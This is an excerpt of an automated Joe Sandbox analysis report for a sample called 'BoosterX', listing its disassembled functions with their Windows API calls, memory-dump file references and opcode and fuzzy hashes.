Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,00000000,00007FF6C03628E7,?,00100000,?,00000001,00000000,00000000,?,00007FF6C0361479), ref: 00007FF6C0362308
ReadFile.KERNELBASE ref: 00007FF6C0362327
GetLastError.KERNEL32 ref: 00007FF6C036235B
GetLastError.KERNEL32 ref: 00007FF6C036237A

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: d9ea8162334859a899980f74fa79e6bbf85c98ea8a13f51b84765ec106e6a7b0
Instruction ID: 1dbc31a451841fa45a65a347f09dad39766d48d10021e3d14302aec98aef5932
Opcode Fuzzy Hash: d9ea8162334859a899980f74fa79e6bbf85c98ea8a13f51b84765ec106e6a7b0
Instruction Fuzzy Hash: 56219D25E0CE13A5EB609F21A4002BD63A0FB85B9AF254130DFDDCA784CF3CE8458749

Function 00007FF6C036E8C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C036EC58: ResetEvent.KERNEL32 ref: 00007FF6C036EC71
Part of subcall function 00007FF6C036EC58: ReleaseSemaphore.KERNEL32 ref: 00007FF6C036EC87

ReleaseSemaphore.KERNEL32 ref: 00007FF6C036E8F0
CloseHandle.KERNELBASE ref: 00007FF6C036E90F
DeleteCriticalSection.KERNEL32 ref: 00007FF6C036E926
CloseHandle.KERNEL32 ref: 00007FF6C036E933

Part of subcall function 00007FF6C036E9D8: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF6C036E8DB,?,?,?,00007FF6C03645FA,?,?,?), ref: 00007FF6C036E9DF
Part of subcall function 00007FF6C036E9D8: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6C036E8DB,?,?,?,00007FF6C03645FA,?,?,?), ref: 00007FF6C036E9EA

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 2e544ca9f261f0376ccf83801800674c3d7e3c4b44cdcb23e888c53b8c5725df
Instruction ID: 393edb40ceeaeb62289e81360e3e61e99893a989f45846952e62b3f98aeb7556
Opcode Fuzzy Hash: 2e544ca9f261f0376ccf83801800674c3d7e3c4b44cdcb23e888c53b8c5725df
Instruction Fuzzy Hash: 7801ED36A14A92B2E6589F21E5456A96361FB84B91F004031DB9EC3765CF39E4B98740

Function 00007FF6C036EA20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF6C036EA5C
SetThreadPriority.KERNEL32 ref: 00007FF6C036EAB2

Strings

CreateThread failed, xrefs: 00007FF6C036EA6A

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: 485e209270f66b590ec8176dafed7bfb240ecdea8f700010846f48018d17601d
Instruction ID: 39510812d605197777590c218bc65c78219d23695b3a67fe4cd7a9cc895fc9ae
Opcode Fuzzy Hash: 485e209270f66b590ec8176dafed7bfb240ecdea8f700010846f48018d17601d
Instruction Fuzzy Hash: B4114F31A18A43A2FB00DF14E8411A97360FB8479AF544131DACDC2769DF3CE58AC740

Function 00007FF6C03793EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C036DF4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF6C036DD5B

OleInitialize.OLE32 ref: 00007FF6C0379406
SHGetMalloc.SHELL32 ref: 00007FF6C0379454

Strings

riched20.dll, xrefs: 00007FF6C03793F5

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: a2ea48ad6eaf40a2712c31cf90fd1ad0c531bf965d53d4a99af5176349890e79
Instruction ID: c00f2adafac0504afa2f4b0fe69451bd44500b60900ce126fb0fa0a1e30b5c43
Opcode Fuzzy Hash: a2ea48ad6eaf40a2712c31cf90fd1ad0c531bf965d53d4a99af5176349890e79
Instruction Fuzzy Hash: A2F04F71A18A4292EB409F24F4191AAB7A0FF88759F400135E6CEC2794DF7CD148CB00

Function 00007FF6C03708DC Relevance: 4.7, APIs: 3, Instructions: 152windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C03784BC: GlobalMemoryStatusEx.KERNEL32 ref: 00007FF6C03784EC

Part of subcall function 00007FF6C036AAA0: LoadStringW.USER32 ref: 00007FF6C036AB27
Part of subcall function 00007FF6C036AAA0: LoadStringW.USER32 ref: 00007FF6C036AB40

Part of subcall function 00007FF6C0351FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0351FFB

Part of subcall function 00007FF6C035129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C0351396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C038013B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0380141
SendDlgItemMessageW.USER32 ref: 00007FF6C0380172

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$LoadString$Concurrency::cancel_current_taskGlobalItemMemoryMessageSendStatus
String ID:
API String ID: 3106221260-0
Opcode ID: cf0567e6bf8155e956a8b4511c09126abe169540c11f499ccdae7d5e6eb88ab3
Instruction ID: 36752f7f68b3954f208e3e8bc770f78dcfd9f68c73ce9fd95bcc123621c48653
Opcode Fuzzy Hash: cf0567e6bf8155e956a8b4511c09126abe169540c11f499ccdae7d5e6eb88ab3
Instruction Fuzzy Hash: E351AD62F14A83AAFB109FA5D4452FC2362AB85B99F500636DE8DD779ADF2CE500C340

Function 00007FF6C03620F4 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF6C036218F
CreateFileW.KERNEL32 ref: 00007FF6C03621FC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0362298

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: 4ce6273eae071ea6a15124b4380fd2fe6d767a0844e08d4acde4de8883fd2a1f
Instruction ID: 2d5e0b697f5cc7d609fa94930720c46b724531d42a1d57d8432ea85812206137
Opcode Fuzzy Hash: 4ce6273eae071ea6a15124b4380fd2fe6d767a0844e08d4acde4de8883fd2a1f
Instruction Fuzzy Hash: 9341A162A08B82A2EA208F15E4542A963A1FB85BB5F104735DFEDC7BD5CF3CE4908604

Function 00007FF6C03523F8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF6C035243E
GetWindowTextW.USER32 ref: 00007FF6C0352476
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0352505

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: ffc9a95c2eb917f8c271226651a7e4a3727d16229f8ced3e106e1d1b4614c68e
Instruction ID: 3c99c75ccd8bf705c97f3d0e88e7e83b8d3cc61be258ffff984e04cf2e540ffc
Opcode Fuzzy Hash: ffc9a95c2eb917f8c271226651a7e4a3727d16229f8ced3e106e1d1b4614c68e
Instruction Fuzzy Hash: 3821A262A18B8292EA149F65A84017AB365FB89BD1F144336EFDD83BA5DF3CD191C700

Function 00007FF6C0371F14 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C0371FDB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C0371FF7
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C0372013

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: ca0a1d78d8e6314f917be1bc01cc39d67f07e0dfb053114c640b6c34b82875d2
Instruction ID: 7b36cdaa6a6d2f747f07886a0599ed23da335009b19869f23c1dc1b39e235db2
Opcode Fuzzy Hash: ca0a1d78d8e6314f917be1bc01cc39d67f07e0dfb053114c640b6c34b82875d2
Instruction Fuzzy Hash: A5315E62A08A87A1FB249F18E5443B963A0EB40B85F540632D7CCD67A5DF6CE556C301

Function 00007FF6C0363CF4 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,00000000,00000001,?,00007FF6C0370761), ref: 00007FF6C0363D1E
SetFileAttributesW.KERNEL32 ref: 00007FF6C0363D70
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0363DDA

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 78a323c9e83038540e709c0a306e8d1f319ba5efdf3dbb668891aceacb5d3961
Instruction ID: b7290e927097bcbe99497dff990d05509bce789ad69ab517ff7de9920e5e1d82
Opcode Fuzzy Hash: 78a323c9e83038540e709c0a306e8d1f319ba5efdf3dbb668891aceacb5d3961
Instruction Fuzzy Hash: 8B21C522B1CA83A2EA208F25E44526A6361FFC9B96F105231EEDEC7795DF3CD544C640

Function 00007FF6C036317C Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,00000000,00007FF6C03707A2), ref: 00007FF6C03631A7
DeleteFileW.KERNEL32 ref: 00007FF6C03631F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0363261

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: 5034e80f18b6dada672af72daf15915e96673b2d3326e463545c04a976a4a92e
Instruction ID: c6b023deca0bee5c1cdfd6592c4218709c302357a6d79262bed5d710236e84f9
Opcode Fuzzy Hash: 5034e80f18b6dada672af72daf15915e96673b2d3326e463545c04a976a4a92e
Instruction Fuzzy Hash: 8521B322A1C78392EA108F25E45526E6361FBC5B96F500231EEDDC6B99DF3CD140CA40

Function 00007FF6C036327C Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,00007FF6C036E52D,?,?,?,00000000,?), ref: 00007FF6C03632A7
GetFileAttributesW.KERNELBASE ref: 00007FF6C03632F4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0363359

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 7118c4e6fffe30651da94a39ba5f8c81167afa32e221d2e2d046fdc79b46f602
Instruction ID: 7c81f61912ac44e07130a16d47c55f6ae0ba8310532eacf40dedfb905e7d2a39
Opcode Fuzzy Hash: 7118c4e6fffe30651da94a39ba5f8c81167afa32e221d2e2d046fdc79b46f602
Instruction Fuzzy Hash: 80214122A1868392EA109F29E4451296361FBC9BA5F640331EADDC7BD9DF3CD5458704

Function 00007FF6C038BEE4 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6C038BEC8), ref: 00007FF6C038BF0C
TerminateProcess.KERNEL32(?,?,?,00007FF6C038BEC8), ref: 00007FF6C038BF17
ExitProcess.KERNEL32 ref: 00007FF6C038BF26

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 8918d945bc68b986d9b4f63ac5cfb24cb8c1f3a7e8295ea6f783a439b1dda531
Instruction ID: 97c26f8e828b792dfcf5be8af7f7aa3a408e06ee848f330468afd85e58e2baa4
Opcode Fuzzy Hash: 8918d945bc68b986d9b4f63ac5cfb24cb8c1f3a7e8295ea6f783a439b1dda531
Instruction Fuzzy Hash: 28E04F24B0430762FB546F319C913792362AFC8B43F00457ACD8EC3396CF3DA4098A00

Function 00007FF6C035F588 Relevance: 3.2, APIs: 2, Instructions: 193COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035F8A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035F8AB

Part of subcall function 00007FF6C0363E88: FindClose.KERNELBASE(?,?,00000000,00007FF6C0370791), ref: 00007FF6C0363EBD

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFind
String ID:
API String ID: 3587649625-0
Opcode ID: 62888dbb9578cb0920daab953437093b21304736e7245625db1b85e939e2aa0d
Instruction ID: a7ca68d242a45111bea642c57611d633a41ee274eceb027551dbcd5b6cc3ee2c
Opcode Fuzzy Hash: 62888dbb9578cb0920daab953437093b21304736e7245625db1b85e939e2aa0d
Instruction Fuzzy Hash: 0B919D37A18A92A4EB10DF24D8442AD7361FB84799F904236EA8CC7BE9DF7CD585C300

Function 00007FF6C0353904 Relevance: 3.1, APIs: 2, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0353AB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0353AB9

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 7a253c8ca56257a91ac06a853ed35445757fd21c51e01c3a38e6e0cb422338a9
Instruction ID: d27342526f2900655031530a10f02910cf97fb94efd4c9329c00ea38859e8958
Opcode Fuzzy Hash: 7a253c8ca56257a91ac06a853ed35445757fd21c51e01c3a38e6e0cb422338a9
Instruction Fuzzy Hash: 3041C162F18657A4FB009FB5D4402AD3321AF45B99F141236DE9DEBBAADF38D0828300

Function 00007FF6C0362738 Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000002,?,00000F99,?,00007FF6C036270D), ref: 00007FF6C0362869
GetLastError.KERNEL32(?,00007FF6C036270D), ref: 00007FF6C0362878

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 15a0c32312994542f24a0a355b1d122a2bfdb3c55d25b91561185cfc545188a1
Instruction ID: 25c9b8de0f5a129c1d364fbd9ec8ccefea22f71ec75521a29f1af8f290a8df4e
Opcode Fuzzy Hash: 15a0c32312994542f24a0a355b1d122a2bfdb3c55d25b91561185cfc545188a1
Instruction Fuzzy Hash: 6831C332B19E43A6EA604F2AD940AF92350BF45BD6F151131DF9DC77A1DF3CE4828644

Function 00007FF6C03522BC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6C03522F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C03523F0

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: 027ba0142be683b64c9b7682b90d490a759d47b8c79e38c26879436e42653007
Instruction ID: 55c50d824ddf65bb4fef5f319144921c7146f917101a98407054bf3484d1e7d6
Opcode Fuzzy Hash: 027ba0142be683b64c9b7682b90d490a759d47b8c79e38c26879436e42653007
Instruction Fuzzy Hash: 4131B026A18783A2EA149F15E44536E7361EF85B95F544232EBDCC7BA5DF3CE180C704

Function 00007FF6C0362A90 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF6C0362ABE
